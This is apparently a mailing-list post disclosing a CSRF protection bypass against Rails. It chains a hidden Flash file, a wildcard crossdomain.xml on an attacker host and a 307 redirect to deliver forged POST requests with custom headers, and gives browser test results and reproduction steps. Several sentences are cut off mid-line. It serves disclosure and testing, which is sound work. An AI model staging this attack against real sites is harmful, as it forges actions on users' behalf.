

[WEB SECURITY] CSRF: Flash + 307 redirect = Game Over

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Content

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A vulnerability for Ruby on Rails was recently patched [[<http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass->]. The default CSRF prevention built into RAILS had two components: (1) a custom HTTP Header, and (2) a CSRF token in the

A hidden flash file on a website will automate the sending of the following request:

```
[http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com](http://www.attacker.com/redirect.php)
```

Flash will allow the site which it is running from to specify POST data and additional headers. But before sending the request

```
[http://www.attacker.com/crossdomain.xml](http://www.attacker.com/crossdomain.xml)
```

```
---
<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
  <allow-http-request-headers-from domain="*" headers="*" />
</cross-domain-policy>
---
```

The flash file will understand that it now has permission to send additional header information with its request, and will

```
[http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com](http://www.attacker.com/redirect.php)
```

The attacker site will return a 307 redirect. It's like a 302 redirect, but allows the forwarding of POST data too. The flash

```
-----
POST / HTTP/1.1
Host: www.victim.com
...
X-Header: test=data;
Cookie: abc=123
Content-Length: 9

post=body
-----
```

We see here that the POST request is being set to www.victim.com, with the additional headers and the POST body. We

Breakdown of the vulnerability:

Mac - Flash Player 10,2,154,12

Chrome 9.0.597.94	302 Redirect	GET Request, with headers
Chrome 9.0.597.94	307 Redirect	Not Sent

Safari 5.0.3 (6533.19.4)	302 Redirect	GET Request, with headers
Safari 5.0.3 (6533.19.4)	307 Redirect	POST Request, with headers (No Confirmation)
FireFox 3.6.10	302 Redirect	GET Request, no headers
FireFox 3.6.10	307 Redirect	POST Request, with headers
FireFox 4 beta 8	no bueno	

Windows XP - Flash Player 10.2.152.26		
FireFox 3.6.10	302 Redirect	GET Request, no headers
FireFox 3.6.10	307 Redirect	POST Request, with headers
IE 7	no bueno	
IE 8	no bueno	

FireFox 3.6.10	302 Redirect	GET Request, no headers
FireFox 3.6.10	307 Redirect	POST Request, with headers
IE 7	no bueno	
IE 8	no bueno	

Testing the vulnerability yourself:

1. Setup a local HTTP proxy, such as Burp Proxy.
2. Run the attached crossdomain.swf application from your browser (Credit goes to my colleague, Jason for writing this)
3. For the URL, use a redirect. I have one set up here: [[http://nevr.co.cc/xss.php?status=307&redir_xss=]](http://nevr.co.cc/xss.php?status=307&redir_xss=http://www.youtube.com/watch?v=UWkz9F8DQ6E)
4. Test different combinations of requests, and look at the request/responses as they go through your HTTP proxy app

----- next part -----

A non-text attachment was scrubbed...

Name: crossdomain.swf

Type: application/octet-stream

Size: 46872 bytes

Desc: crossdomain.swf	
-----------------------	--

URL: <http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/attachments/20110210/0c52e56d/attach

----- next part -----

An embedded and charset-unspecified text was scrubbed...

Name: ATT00001..txt

URL: <http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/attachments/20110210/0c52e56d/attach

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